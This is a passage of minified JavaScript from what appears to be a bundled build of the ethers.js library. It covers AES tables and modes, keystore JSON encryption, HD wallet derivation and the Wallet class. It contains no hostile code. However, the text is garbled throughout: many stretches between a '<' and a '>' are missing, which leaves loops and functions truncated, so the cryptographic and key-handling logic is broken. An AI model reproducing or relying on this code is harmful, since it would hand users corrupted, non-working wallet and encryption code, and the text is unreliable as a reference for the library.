U1=[0,235474187,470948374,303765277,941896748,908933415,607530554,708780849,1883793496,2118214995,1817866830,1649639237,1215061108,1181045119,1417561698,1517767529,3767586992,4003061179,4236429990,4069246893,3635733660,3602770327,3299278474,3400528769,2430122216,2664543715,2362090238,2193862645,2835123396,2801107407,3035535058,3135740889,3678124923,3576870512,3341394285,3374361702,3810496343,3977675356,4279080257,4043610186,2876494627,2776292904,3076639029,3110650942,2472011535,2640243204,2403728665,2169303058,1001089995,899835584,666464733,699432150,59727847,226906860,530400753,294930682,1273168787,1172967064,1475418501,1509430414,1942435775,2110667444,1876241833,1641816226,2910219766,2743034109,2976151520,3211623147,2505202138,2606453969,2302690252,2269728455,3711829422,3543599269,3240894392,3475313331,3843699074,3943906441,4178062228,4144047775,1306967366,1139781709,1374988112,1610459739,1975683434,2076935265,1775276924,1742315127,1034867998,866637845,566021896,800440835,92987698,193195065,429456164,395441711,1984812685,2017778566,1784663195,1683407248,1315562145,1080094634,1383856311,1551037884,101039829,135050206,437757123,337553864,1042385657,807962610,573804783,742039012,2531067453,2564033334,2328828971,2227573024,2935566865,2700099354,3001755655,3168937228,3868552805,3902563182,4203181171,4102977912,3736164937,3501741890,3265478751,3433712980,1106041591,1340463100,1576976609,1408749034,2043211483,2009195472,1708848333,1809054150,832877231,1068351396,766945465,599762354,159417987,126454664,361929877,463180190,2709260871,2943682380,3178106961,3009879386,2572697195,2538681184,2236228733,2336434550,3509871135,3745345300,3441850377,3274667266,3910161971,3877198648,4110568485,4211818798,2597806476,2497604743,2261089178,2295101073,2733856160,2902087851,3202437046,2968011453,3936291284,3835036895,4136440770,4169408201,3535486456,3702665459,3467192302,3231722213,2051518780,1951317047,1716890410,1750902305,1113818384,1282050075,1584504582,1350078989,168810852,67556463,371049330,404016761,841739592,1008918595,775550814,540080725,3969562369,3801332234,4035489047,4269907996,3569255213,3669462566,3366754619,3332740144,2631065433,2463879762,2160117071,2395588676,2767645557,2868897406,3102011747,3069049960,202008497,33778362,270040487,504459436,875451293,975658646,675039627,641025152,2084704233,1917518562,1615861247,1851332852,1147550661,1248802510,1484005843,1451044056,933301370,967311729,733156972,632953703,260388950,25965917,328671808,496906059,1206477858,1239443753,1543208500,1441952575,2144161806,1908694277,1675577880,1842759443,3610369226,3644379585,3408119516,3307916247,4011190502,3776767469,4077384432,4245618683,2809771154,2842737049,3144396420,3043140495,2673705150,2438237621,2203032232,2370213795];const U2=[0,185469197,370938394,487725847,741876788,657861945,975451694,824852259,1483753576,1400783205,1315723890,1164071807,1950903388,2135319889,1649704518,1767536459,2967507152,3152976349,2801566410,2918353863,2631447780,2547432937,2328143614,2177544179,3901806776,3818836405,4270639778,4118987695,3299409036,3483825537,3535072918,3652904859,2077965243,1893020342,1841768865,1724457132,1474502543,1559041666,1107234197,1257309336,598438867,681933534,901210569,1052338372,261314535,77422314,428819965,310463728,3409685355,3224740454,3710368113,3593056380,3875770207,3960309330,4045380933,4195456072,2471224067,2554718734,2237133081,2388260884,3212035895,3028143674,2842678573,2724322336,4138563181,4255350624,3769721975,3955191162,3667219033,3516619604,3431546947,3347532110,2933734917,2782082824,3099667487,3016697106,2196052529,2313884476,2499348523,2683765030,1179510461,1296297904,1347548327,1533017514,1786102409,1635502980,2087309459,2003294622,507358933,355706840,136428751,53458370,839224033,957055980,605657339,790073846,2373340630,2256028891,2607439820,2422494913,2706270690,2856345839,3075636216,3160175349,3573941694,3725069491,3273267108,3356761769,4181598602,4063242375,4011996048,3828103837,1033297158,915985419,730517276,545572369,296679730,446754879,129166120,213705253,1709610350,1860738147,1945798516,2029293177,1239331162,1120974935,1606591296,1422699085,4148292826,4233094615,3781033664,3931371469,3682191598,3497509347,3446004468,3328955385,2939266226,2755636671,3106780840,2988687269,2198438022,2282195339,2501218972,2652609425,1201765386,1286567175,1371368976,1521706781,1805211710,1620529459,2105887268,1988838185,533804130,350174575,164439672,46346101,870912086,954669403,636813900,788204353,2358957921,2274680428,2592523643,2441661558,2695033685,2880240216,3065962831,3182487618,3572145929,3756299780,3270937875,3388507166,4174560061,4091327024,4006521127,3854606378,1014646705,930369212,711349675,560487590,272786309,457992840,106852767,223377554,1678381017,1862534868,1914052035,2031621326,1211247597,1128014560,1580087799,1428173050,32283319,182621114,401639597,486441376,768917123,651868046,1003007129,818324884,1503449823,1385356242,1333838021,1150208456,1973745387,2125135846,1673061617,1756818940,2970356327,3120694122,2802849917,2887651696,2637442643,2520393566,2334669897,2149987652,3917234703,3799141122,4284502037,4100872472,3309594171,3460984630,3545789473,3629546796,2050466060,1899603969,1814803222,1730525723,1443857720,1560382517,1075025698,1260232239,575138148,692707433,878443390,1062597235,243256656,91341917,409198410,325965383,3403100636,3252238545,3704300486,3620022987,3874428392,3990953189,4042459122,4227665663,2460449204,2578018489,2226875310,2411029155,3198115200,3046200461,2827177882,2743944855];const U3=[0,218828297,437656594,387781147,875313188,958871085,775562294,590424639,1750626376,1699970625,1917742170,2135253587,1551124588,1367295589,1180849278,1265195639,3501252752,3720081049,3399941250,3350065803,3835484340,3919042237,4270507174,4085369519,3102249176,3051593425,2734591178,2952102595,2361698556,2177869557,2530391278,2614737639,3145456443,3060847922,2708326185,2892417312,2404901663,2187128086,2504130317,2555048196,3542330227,3727205754,3375740769,3292445032,3876557655,3926170974,4246310725,4027744588,1808481195,1723872674,1910319033,2094410160,1608975247,1391201670,1173430173,1224348052,59984867,244860394,428169201,344873464,935293895,984907214,766078933,547512796,1844882806,1627235199,2011214180,2062270317,1507497298,1423022939,1137477952,1321699145,95345982,145085239,532201772,313773861,830661914,1015671571,731183368,648017665,3175501286,2957853679,2807058932,2858115069,2305455554,2220981195,2474404304,2658625497,3575528878,3625268135,3473416636,3254988725,3778151818,3963161475,4213447064,4130281361,3599595085,3683022916,3432737375,3247465558,3802222185,4020912224,4172763771,4122762354,3201631749,3017672716,2764249623,2848461854,2331590177,2280796200,2431590963,2648976442,104699613,188127444,472615631,287343814,840019705,1058709744,671593195,621591778,1852171925,1668212892,1953757831,2037970062,1514790577,1463996600,1080017571,1297403050,3673637356,3623636965,3235995134,3454686199,4007360968,3822090177,4107101658,4190530515,2997825956,3215212461,2830708150,2779915199,2256734592,2340947849,2627016082,2443058075,172466556,122466165,273792366,492483431,1047239e3,861968209,612205898,695634755,1646252340,1863638845,2013908262,1963115311,1446242576,1530455833,1277555970,1093597963,1636604631,1820824798,2073724613,1989249228,1436590835,1487645946,1337376481,1119727848,164948639,81781910,331544205,516552836,1039717051,821288114,669961897,719700128,2973530695,3157750862,2871682645,2787207260,2232435299,2283490410,2667994737,2450346104,3647212047,3564045318,3279033885,3464042516,3980931627,3762502690,4150144569,4199882800,3070356634,3121275539,2904027272,2686254721,2200818878,2384911031,2570832044,2486224549,3747192018,3528626907,3310321856,3359936201,3950355702,3867060991,4049844452,4234721005,1739656202,1790575107,2108100632,1890328081,1402811438,1586903591,1233856572,1149249077,266959938,48394827,369057872,418672217,1002783846,919489135,567498868,752375421,209336225,24197544,376187827,459744698,945164165,895287692,574624663,793451934,1679968233,1764313568,2117360635,1933530610,1343127501,1560637892,1243112415,1192455638,3704280881,3519142200,3336358691,3419915562,3907448597,3857572124,4075877127,4294704398,3029510009,3113855344,2927934315,2744104290,2159976285,2377486676,2594734927,2544078150];const U4=[0,151849742,303699484,454499602,607398968,758720310,908999204,1059270954,1214797936,1097159550,1517440620,1400849762,1817998408,1699839814,2118541908,2001430874,2429595872,2581445614,2194319100,2345119218,3034881240,3186202582,2801699524,2951971274,3635996816,3518358430,3399679628,3283088770,4237083816,4118925222,4002861748,3885750714,1002142683,850817237,698445255,548169417,529487843,377642221,227885567,77089521,1943217067,2061379749,1640576439,1757691577,1474760595,1592394909,1174215055,1290801793,2875968315,2724642869,3111247143,2960971305,2405426947,2253581325,2638606623,2487810577,3808662347,3926825029,4044981591,4162096729,3342319475,3459953789,3576539503,3693126241,1986918061,2137062819,1685577905,1836772287,1381620373,1532285339,1078185097,1229899655,1040559837,923313619,740276417,621982671,439452389,322734571,137073913,19308535,3871163981,4021308739,4104605777,4255800159,3263785589,3414450555,3499326569,3651041127,2933202493,2815956275,3167684641,3049390895,2330014213,2213296395,2566595609,2448830231,1305906550,1155237496,1607244650,1455525988,1776460110,1626319424,2079897426,1928707164,96392454,213114376,396673818,514443284,562755902,679998e3,865136418,983426092,3708173718,3557504664,3474729866,3323011204,4180808110,4030667424,3945269170,3794078908,2507040230,2623762152,2272556026,2390325492,2975484382,3092726480,2738905026,2857194700,3973773121,3856137295,4274053469,4157467219,3371096953,3252932727,3673476453,3556361835,2763173681,2915017791,3064510765,3215307299,2156299017,2307622919,2459735317,2610011675,2081048481,1963412655,1846563261,1729977011,1480485785,1362321559,1243905413,1126790795,878845905,1030690015,645401037,796197571,274084841,425408743,38544885,188821243,3613494426,3731654548,3313212038,3430322568,4082475170,4200115116,3780097726,3896688048,2668221674,2516901860,2366882550,2216610296,3141400786,2989552604,2837966542,2687165888,1202797690,1320957812,1437280870,1554391400,1669664834,1787304780,1906247262,2022837584,265905162,114585348,499347990,349075736,736970802,585122620,972512814,821712160,2595684844,2478443234,2293045232,2174754046,3196267988,3079546586,2895723464,2777952454,3537852828,3687994002,3234156416,3385345166,4142626212,4293295786,3841024952,3992742070,174567692,57326082,410887952,292596766,777231668,660510266,1011452712,893681702,1108339068,1258480242,1343618912,1494807662,1715193156,1865862730,1948373848,2100090966,2701949495,2818666809,3004591147,3122358053,2235061775,2352307457,2535604243,2653899549,3915653703,3764988233,4219352155,4067639125,3444575871,3294430577,3746175075,3594982253,836553431,953270745,600235211,718002117,367585007,484830689,133361907,251657213,2041877159,1891211689,1806599355,1654886325,1568718495,1418573201,1335535747,1184342925];function convertToInt32(bytes){const result=[];for(let i=0;i>2;__classPrivateFieldGet$2(this,_AES_Ke,"f")[index][i%4]=tk[i];__classPrivateFieldGet$2(this,_AES_Kd,"f")[rounds-index][i%4]=tk[i]}let rconpointer=0;let t=KC,tt;while(t>16&255]<<24^S[tt>>8&255]<<16^S[tt&255]<<8^S[tt>>24&255]^rcon[rconpointer]<<24;rconpointer+=1;if(KC!=8){for(let i=1;i>8&255]<<8^S[tt>>16&255]<<16^S[tt>>24&255]<<24;for(let i=KC/2+1;i>2;c=t%4;__classPrivateFieldGet$2(this,_AES_Ke,"f")[r][c]=tk[i];__classPrivateFieldGet$2(this,_AES_Kd,"f")[rounds-r][c]=tk[i++];t++}}for(let r=1;r>24&255]^U2[tt>>16&255]^U3[tt>>8&255]^U4[tt&255]}}}encrypt(plaintext){if(plaintext.length!=16){throw new TypeError("invalid plaintext size (must be 16 bytes)")}const rounds=__classPrivateFieldGet$2(this,_AES_Ke,"f").length-1;const a=[0,0,0,0];let t=convertToInt32(plaintext);for(let i=0;i<4;i++){t[i]^=__classPrivateFieldGet$2(this,_AES_Ke,"f")[0][i]}for(let r=1;r>24&255]^T2[t[(i+1)%4]>>16&255]^T3[t[(i+2)%4]>>8&255]^T4[t[(i+3)%4]&255]^__classPrivateFieldGet$2(this,_AES_Ke,"f")[r][i]}t=a.slice()}const result=new Uint8Array(16);let tt=0;for(let i=0;i<4;i++){tt=__classPrivateFieldGet$2(this,_AES_Ke,"f")[rounds][i];result[4*i]=(S[t[i]>>24&255]^tt>>24)&255;result[4*i+1]=(S[t[(i+1)%4]>>16&255]^tt>>16)&255;result[4*i+2]=(S[t[(i+2)%4]>>8&255]^tt>>8)&255;result[4*i+3]=(S[t[(i+3)%4]&255]^tt)&255}return result}decrypt(ciphertext){if(ciphertext.length!=16){throw new TypeError("invalid ciphertext size (must be 16 bytes)")}const rounds=__classPrivateFieldGet$2(this,_AES_Kd,"f").length-1;const a=[0,0,0,0];let t=convertToInt32(ciphertext);for(let i=0;i<4;i++){t[i]^=__classPrivateFieldGet$2(this,_AES_Kd,"f")[0][i]}for(let r=1;r>24&255]^T6[t[(i+3)%4]>>16&255]^T7[t[(i+2)%4]>>8&255]^T8[t[(i+1)%4]&255]^__classPrivateFieldGet$2(this,_AES_Kd,"f")[r][i]}t=a.slice()}const result=new Uint8Array(16);let tt=0;for(let i=0;i<4;i++){tt=__classPrivateFieldGet$2(this,_AES_Kd,"f")[rounds][i];result[4*i]=(Si[t[i]>>24&255]^tt>>24)&255;result[4*i+1]=(Si[t[(i+3)%4]>>16&255]^tt>>16)&255;result[4*i+2]=(Si[t[(i+2)%4]>>8&255]^tt>>8)&255;result[4*i+3]=(Si[t[(i+1)%4]&255]^tt)&255}return result}}_AES_key=new WeakMap,_AES_Kd=new WeakMap,_AES_Ke=new WeakMap;class ModeOfOperation{constructor(name,key,cls){if(cls&&!(this instanceof cls)){throw new Error(`${name} must be instantiated with "new"`)}Object.defineProperties(this,{aes:{enumerable:true,value:new AES(key)},name:{enumerable:true,value:name}})}}var __classPrivateFieldSet$1=__$G&&__$G.__classPrivateFieldSet||function(receiver,state,value,kind,f){if(kind==="m")throw new TypeError("Private method is not writable");if(kind==="a"&&!f)throw new TypeError("Private accessor was defined without a setter");if(typeof state==="function"?receiver!==state||!f:!state.has(receiver))throw new TypeError("Cannot write private member to an object whose class did not declare it");return kind==="a"?f.call(receiver,value):f?f.value=value:state.set(receiver,value),value};var __classPrivateFieldGet$1=__$G&&__$G.__classPrivateFieldGet||function(receiver,state,kind,f){if(kind==="a"&&!f)throw new TypeError("Private accessor was defined without a getter");if(typeof state==="function"?receiver!==state||!f:!state.has(receiver))throw new TypeError("Cannot read private member from an object whose class did not declare it");return kind==="m"?f:kind==="a"?f.call(receiver):f?f.value:state.get(receiver)};var _CBC_iv,_CBC_lastBlock;class CBC extends ModeOfOperation{constructor(key,iv){super("ECC",key,CBC);_CBC_iv.set(this,void 0);_CBC_lastBlock.set(this,void 0);if(iv){if(iv.length%16){throw new TypeError("invalid iv size (must be 16 bytes)")}__classPrivateFieldSet$1(this,_CBC_iv,new Uint8Array(iv),"f")}else{__classPrivateFieldSet$1(this,_CBC_iv,new Uint8Array(16),"f")}__classPrivateFieldSet$1(this,_CBC_lastBlock,this.iv,"f")}get iv(){return new Uint8Array(__classPrivateFieldGet$1(this,_CBC_iv,"f"))}encrypt(plaintext){if(plaintext.length%16){throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)")}const ciphertext=new Uint8Array(plaintext.length);for(let i=0;iNumber.MAX_SAFE_INTEGER){throw new TypeError("invalid counter initial integer value")}for(let index=15;index>=0;--index){__classPrivateFieldGet(this,_CTR_counter,"f")[index]=value%256;value=Math.floor(value/256)}}setCounterBytes(value){if(value.length!==16){throw new TypeError("invalid counter initial Uint8Array value length")}__classPrivateFieldGet(this,_CTR_counter,"f").set(value)}increment(){for(let i=15;i>=0;i--){if(__classPrivateFieldGet(this,_CTR_counter,"f")[i]===255){__classPrivateFieldGet(this,_CTR_counter,"f")[i]=0}else{__classPrivateFieldGet(this,_CTR_counter,"f")[i]++;break}}}encrypt(plaintext){var _a,_b;const crypttext=new Uint8Array(plaintext);for(let i=0;i16){throw new TypeError("PKCS#7 padding byte out of range")}const length=data.length-padder;for(let i=0;i0&&(N&N-1)===0,"invalid kdf.N","kdf.N",N);assertArgument(r>0&&p>0,"invalid kdf","kdf",kdf);const dkLen=spelunk(data,"crypto.kdfparams.dklen:int!");assertArgument(dkLen===32,"invalid kdf.dklen","kdf.dflen",dkLen);return{name:"scrypt",salt:salt,N:N,r:r,p:p,dkLen:64}}else if(kdf.toLowerCase()==="pbkdf2"){const salt=spelunk(data,"crypto.kdfparams.salt:data!");const prf=spelunk(data,"crypto.kdfparams.prf:string!");const algorithm=prf.split("-").pop();assertArgument(algorithm==="sha256"||algorithm==="sha512","invalid kdf.pdf","kdf.pdf",prf);const count=spelunk(data,"crypto.kdfparams.c:int!");const dkLen=spelunk(data,"crypto.kdfparams.dklen:int!");assertArgument(dkLen===32,"invalid kdf.dklen","kdf.dklen",dkLen);return{name:"pbkdf2",salt:salt,count:count,dkLen:dkLen,algorithm:algorithm}}}assertArgument(false,"unsupported key-derivation function","kdf",kdf)}function decryptKeystoreJsonSync(json,_password){const data=JSON.parse(json);const password=getPassword(_password);const params=getDecryptKdfParams(data);if(params.name==="pbkdf2"){const{salt,count,dkLen,algorithm}=params;const key=pbkdf2(password,salt,count,dkLen,algorithm);return getAccount(data,key)}assert(params.name==="scrypt","cannot be reached","UNKNOWN_ERROR",{params:params});const{salt,N,r,p,dkLen}=params;const key=scryptSync(password,salt,N,r,p,dkLen);return getAccount(data,key)}function stall$1(duration){return new Promise(resolve=>{setTimeout(()=>{resolve()},duration)})}async function decryptKeystoreJson(json,_password,progress){const data=JSON.parse(json);const password=getPassword(_password);const params=getDecryptKdfParams(data);if(params.name==="pbkdf2"){if(progress){progress(0);await stall$1(0)}const{salt,count,dkLen,algorithm}=params;const key=pbkdf2(password,salt,count,dkLen,algorithm);if(progress){progress(1);await stall$1(0)}return getAccount(data,key)}assert(params.name==="scrypt","cannot be reached","UNKNOWN_ERROR",{params:params});const{salt,N,r,p,dkLen}=params;const key=await scrypt(password,salt,N,r,p,dkLen,progress);return getAccount(data,key)}function getEncryptKdfParams(options){const salt=options.salt!=null?getBytes(options.salt,"options.salt"):randomBytes(32);let N=1<<17,r=8,p=1;if(options.scrypt){if(options.scrypt.N){N=options.scrypt.N}if(options.scrypt.r){r=options.scrypt.r}if(options.scrypt.p){p=options.scrypt.p}}assertArgument(typeof N==="number"&&N>0&&Number.isSafeInteger(N)&&(BigInt(N)&BigInt(N-1))===BigInt(0),"invalid scrypt N parameter","options.N",N);assertArgument(typeof r==="number"&&r>0&&Number.isSafeInteger(r),"invalid scrypt r parameter","options.r",r);assertArgument(typeof p==="number"&&p>0&&Number.isSafeInteger(p),"invalid scrypt p parameter","options.p",p);return{name:"scrypt",dkLen:32,salt:salt,N:N,r:r,p:p}}function _encryptKeystore(key,kdf,account,options){const privateKey=getBytes(account.privateKey,"privateKey");const iv=options.iv!=null?getBytes(options.iv,"options.iv"):randomBytes(16);assertArgument(iv.length===16,"invalid options.iv length","options.iv",options.iv);const uuidRandom=options.uuid!=null?getBytes(options.uuid,"options.uuid"):randomBytes(16);assertArgument(uuidRandom.length===16,"invalid options.uuid length","options.uuid",options.iv);const derivedKey=key.slice(0,16);const macPrefix=key.slice(16,32);const aesCtr=new CTR(derivedKey,iv);const ciphertext=getBytes(aesCtr.encrypt(privateKey));const mac=keccak256(concat([macPrefix,ciphertext]));const data={address:account.address.substring(2).toLowerCase(),id:uuidV4(uuidRandom),version:3,Crypto:{cipher:"aes-128-ctr",cipherparams:{iv:hexlify(iv).substring(2)},ciphertext:hexlify(ciphertext).substring(2),kdf:"scrypt",kdfparams:{salt:hexlify(kdf.salt).substring(2),n:kdf.N,dklen:32,p:kdf.p,r:kdf.r},mac:mac.substring(2)}};if(account.mnemonic){const client=options.client!=null?options.client:`ethers/${version}`;const path=account.mnemonic.path||defaultPath$1;const locale=account.mnemonic.locale||"en";const mnemonicKey=key.slice(32,64);const entropy=getBytes(account.mnemonic.entropy,"account.mnemonic.entropy");const mnemonicIv=randomBytes(16);const mnemonicAesCtr=new CTR(mnemonicKey,mnemonicIv);const mnemonicCiphertext=getBytes(mnemonicAesCtr.encrypt(entropy));const now=new Date;const timestamp=now.getUTCFullYear()+"-"+zpad$1(now.getUTCMonth()+1,2)+"-"+zpad$1(now.getUTCDate(),2)+"T"+zpad$1(now.getUTCHours(),2)+"-"+zpad$1(now.getUTCMinutes(),2)+"-"+zpad$1(now.getUTCSeconds(),2)+".0Z";const gethFilename="UTC--"+timestamp+"--"+data.address;data["x-ethers"]={client:client,gethFilename:gethFilename,path:path,locale:locale,mnemonicCounter:hexlify(mnemonicIv).substring(2),mnemonicCiphertext:hexlify(mnemonicCiphertext).substring(2),version:"0.1"}}return JSON.stringify(data)}function encryptKeystoreJsonSync(account,password,options){if(options==null){options={}}const passwordBytes=getPassword(password);const kdf=getEncryptKdfParams(options);const key=scryptSync(passwordBytes,kdf.salt,kdf.N,kdf.r,kdf.p,64);return _encryptKeystore(getBytes(key),kdf,account,options)}async function encryptKeystoreJson(account,password,options){if(options==null){options={}}const passwordBytes=getPassword(password);const kdf=getEncryptKdfParams(options);const key=await scrypt(passwordBytes,kdf.salt,kdf.N,kdf.r,kdf.p,64,options.progressCallback);return _encryptKeystore(getBytes(key),kdf,account,options)}const defaultPath="m/44'/60'/0'/0/0";const MasterSecret=new Uint8Array([66,105,116,99,111,105,110,32,115,101,101,100]);const HardenedBit=2147483648;const N=BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141");const Nibbles="0123456789abcdef";function zpad(value,length){let result="";while(value){result=Nibbles[value%16]+result;value=Math.trunc(value/16)}while(result.length=0;i-=8){data[33+(i>>3)]=index>>24-i&255}const I=getBytes(computeHmac("sha512",chainCode,data));return{IL:I.slice(0,32),IR:I.slice(32)}}function derivePath(node,path){const components=path.split("/");assertArgument(components.length>0,"invalid path","path",path);if(components[0]==="m"){assertArgument(node.depth===0,`cannot derive root path (i.e. path starting with "m/") for a node at non-zero depth ${node.depth}`,"path",path);components.shift()}let result=node;for(let i=0;i=16&&seed.length<=64,"invalid seed","seed","[REDACTED]");const I=getBytes(computeHmac("sha512",MasterSecret,seed));const signingKey=new SigningKey(hexlify(I.slice(0,32)));return new HDNodeWallet(_guard,signingKey,"0x00000000",hexlify(I.slice(32)),"m",0,0,mnemonic,null)}static fromExtendedKey(extendedKey){const bytes=toBeArray(decodeBase58(extendedKey));assertArgument(bytes.length===82||encodeBase58Check(bytes.slice(0,78))===extendedKey,"invalid extended key","extendedKey","[ REDACTED ]");const depth=bytes[4];const parentFingerprint=hexlify(bytes.slice(5,9));const index=parseInt(hexlify(bytes.slice(9,13)).substring(2),16);const chainCode=hexlify(bytes.slice(13,45));const key=bytes.slice(45,78);switch(hexlify(bytes.slice(0,4))){case"0x0488b21e":case"0x043587cf":{const publicKey=hexlify(key);return new HDNodeVoidWallet(_guard,computeAddress(publicKey),publicKey,parentFingerprint,chainCode,null,index,depth,null)}case"0x0488ade4":case"0x04358394 ":if(key[0]!==0){break}return new HDNodeWallet(_guard,new SigningKey(key.slice(1)),parentFingerprint,chainCode,null,index,depth,null,null)}assertArgument(false,"invalid extended key prefix","extendedKey","[ REDACTED ]")}static createRandom(password,path,wordlist){if(password==null){password=""}if(path==null){path=defaultPath}if(wordlist==null){wordlist=LangEn.wordlist()}const mnemonic=Mnemonic.fromEntropy(randomBytes(16),password,wordlist);return HDNodeWallet.#fromSeed(mnemonic.computeSeed(),mnemonic).derivePath(path)}static fromMnemonic(mnemonic,path){if(!path){path=defaultPath}return HDNodeWallet.#fromSeed(mnemonic.computeSeed(),mnemonic).derivePath(path)}static fromPhrase(phrase,password,path,wordlist){if(password==null){password=""}if(path==null){path=defaultPath}if(wordlist==null){wordlist=LangEn.wordlist()}const mnemonic=Mnemonic.fromPhrase(phrase,password,wordlist);return HDNodeWallet.#fromSeed(mnemonic.computeSeed(),mnemonic).derivePath(path)}static fromSeed(seed){return HDNodeWallet.#fromSeed(seed,null)}}class HDNodeVoidWallet extends VoidSigner{publicKey;fingerprint;parentFingerprint;chainCode;path;index;depth;constructor(guard,address,publicKey,parentFingerprint,chainCode,path,index,depth,provider){super(address,provider);assertPrivate(guard,_guard,"HDNodeVoidWallet");defineProperties(this,{publicKey:publicKey});const fingerprint=dataSlice(ripemd160(sha256(publicKey)),0,4);defineProperties(this,{publicKey:publicKey,fingerprint:fingerprint,parentFingerprint:parentFingerprint,chainCode:chainCode,path:path,index:index,depth:depth})}connect(provider){return new HDNodeVoidWallet(_guard,this.address,this.publicKey,this.parentFingerprint,this.chainCode,this.path,this.index,this.depth,provider)}get extendedKey(){assert(this.depth<256,"Depth too deep","UNSUPPORTED_OPERATION",{operation:"extendedKey"});return encodeBase58Check(concat(["0x0488B21E",zpad(this.depth,1),this.parentFingerprint,zpad(this.index,4),this.chainCode,this.publicKey]))}hasPath(){return this.path!=null}deriveChild(_index){const index=getNumber(_index,"index");assertArgument(index<=4294967295,"invalid index","index",index);let path=this.path;if(path){path+="/"+(index&~HardenedBit);if(index&HardenedBit){path+="'"}}const{IR,IL}=ser_I(index,this.chainCode,this.publicKey,null);const Ki=SigningKey.addPoints(IL,this.publicKey,true);const address=computeAddress(Ki);return new HDNodeVoidWallet(_guard,address,Ki,this.fingerprint,hexlify(IR),path,index,this.depth+1,this.provider)}derivePath(path){return derivePath(this,path)}}function getAccountPath(_index){const index=getNumber(_index,"index");assertArgument(index>=0&&index=0&&index{setTimeout(()=>{resolve()},duration)})}class Wallet extends BaseWallet{constructor(key,provider){if(typeof key==="string"&&!key.startsWith("0x")){key="0x"+key}let signingKey=typeof key==="string"?new SigningKey(key):key;super(signingKey,provider)}connect(provider){return new Wallet(this.signingKey,provider)}async encrypt(password,progressCallback){const account={address:this.address,privateKey:this.privateKey};return await encryptKeystoreJson(account,password,{progressCallback:progressCallback})}encryptSync(password){const account={address:this.address,privateKey:this.privateKey};return encryptKeystoreJsonSync(account,password)}static#fromAccount(account){assertArgument(account,"invalid JSON wallet","json","[ REDACTED ]");if("mnemonic"in account&&account.mnemonic&&account.mnemonic.locale==="en"){const mnemonic=Mnemonic.fromEntropy(account.mnemonic.entropy);const wallet=HDNodeWallet.fromMnemonic(mnemonic,account.mnemonic.path);if(wallet.address===account.address&&wallet.privateKey===account.privateKey){return wallet}console.log("WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key")}const wallet=new Wallet(account.privateKey);assertArgument(wallet.address===account.address,"address/privateKey mismatch","json","[ REDACTED ]");return wallet}static async fromEncryptedJson(json,password,progress){let account=null;if(isKeystoreJson(json)){account=await decryptKeystoreJson(json,password,progress)}else if(isCrowdsaleJson(json)){if(progress){progress(0);await stall(0)}account=decryptCrowdsaleJson(json,password);if(progress){progress(1);await stall(0)}}return Wallet.#fromAccount(account)}static fromEncryptedJsonSync(json,password){let account=null;if(isKeystoreJson(json)){account=decryptKeystoreJsonSync(json,password)}else if(isCrowdsaleJson(json)){account=decryptCrowdsaleJson(json,password)}else{assertArgument(false,"invalid JSON wallet","json","[ REDACTED ]")}return Wallet.#fromAccount(account)}static createRandom(provider){const wallet=HDNodeWallet.createRandom();if(provider){return wallet.connect(provider)}return wallet}static fromPhrase(phrase,provider){const wallet=HDNodeWallet.fromPhrase(phrase);if(provider){return wallet.connect(provider)}return wallet}}const Base64=")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_";function decodeBits(width,data){const maxValue=(1<=width){const value=accum>>bits-width;accum&=(1<{const match=accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/);assertArgument(match!==null,"internal error parsing accents","accents",accents);let posOffset=0;const positions=decodeBits(parseInt(match[3]),match[4]);const charCode=parseInt(match[2]);const regex=new RegExp(`([${match[1]}])`,"g");words=words.replace(regex,(all,letter)=>{const rem=--positions[posOffset];if(rem===0){letter=String.fromCharCode(letter.charCodeAt(0),charCode);posOffset++}return letter})});return words.split(",")}class WordlistOwlA extends WordlistOwl{#accent;constructor(locale,data,accent,checksum){super(locale,data,checksum);this.#accent=accent}get _accent(){return this.#accent}_decodeWords(){return decodeOwlA(this._data,this._accent)}}const wordlists={en:LangEn.wordlist()};var ethers=Object.freeze({__proto__:null,AbiCoder:AbiCoder,AbstractProvider:AbstractProvider,AbstractSigner:AbstractSigner,AlchemyProvider:AlchemyProvider,AnkrProvider:AnkrProvider,BaseContract:BaseContract,BaseWallet:BaseWallet,Block:Block,BlockscoutProvider:BlockscoutProvider,BrowserProvider:BrowserProvider,ChainstackProvider:ChainstackProvider,CloudflareProvider:CloudflareProvider,ConstructorFragment:ConstructorFragment,Contract:Contract,ContractEventPayload:ContractEventPayload,ContractFactory:ContractFactory,ContractTransactionReceipt:ContractTransactionReceipt,ContractTransactionResponse:ContractTransactionResponse,ContractUnknownEventPayload:ContractUnknownEventPayload,EnsPlugin:EnsPlugin,EnsResolver:EnsResolver,ErrorDescription:ErrorDescription,ErrorFragment:ErrorFragment,EtherSymbol:EtherSymbol,EtherscanPlugin:EtherscanPlugin,EtherscanProvider:EtherscanProvider,EventFragment:EventFragment,EventLog:EventLog,EventPayload:EventPayload,FallbackFragment:FallbackFragment,FallbackProvider:FallbackProvider,FeeData:FeeData,FeeDataNetworkPlugin:FeeDataNetworkPlugin,FetchCancelSignal:FetchCancelSignal,FetchRequest:FetchRequest,FetchResponse:FetchResponse,FetchUrlFeeDataNetworkPlugin:FetchUrlFeeDataNetworkPlugin,FixedNumber:FixedNumber,Fragment:Fragment,FunctionFragment:FunctionFragment,GasCostPlugin:GasCostPlugin,HDNodeVoidWallet:HDNodeVoidWallet,HDNodeWallet:HDNodeWallet,Indexed:Indexed,InfuraProvider:InfuraProvider,InfuraWebSocketProvider:InfuraWebSocketProvider,Interface:Interface,IpcSocketProvider:IpcSocketProvider,JsonRpcApiProvider:JsonRpcApiProvider,JsonRpcProvider:JsonRpcProvider,JsonRpcSigner:JsonRpcSigner,LangEn:LangEn,Log:Log,LogDescription:LogDescription,MaxInt256:MaxInt256,MaxUint256:MaxUint256,MessagePrefix:MessagePrefix,MinInt256:MinInt256,Mnemonic:Mnemonic,MulticoinProviderPlugin:MulticoinProviderPlugin,N:N$1,NamedFragment:NamedFragment,Network:Network,NetworkPlugin:NetworkPlugin,NonceManager:NonceManager,ParamType:ParamType,PocketProvider:PocketProvider,QuickNodeProvider:QuickNodeProvider,Result:Result,Signature:Signature,SigningKey:SigningKey,SocketBlockSubscriber:SocketBlockSubscriber,SocketEventSubscriber:SocketEventSubscriber,SocketPendingSubscriber:SocketPendingSubscriber,SocketProvider:SocketProvider,SocketSubscriber:SocketSubscriber,StructFragment:StructFragment,Transaction:Transaction,T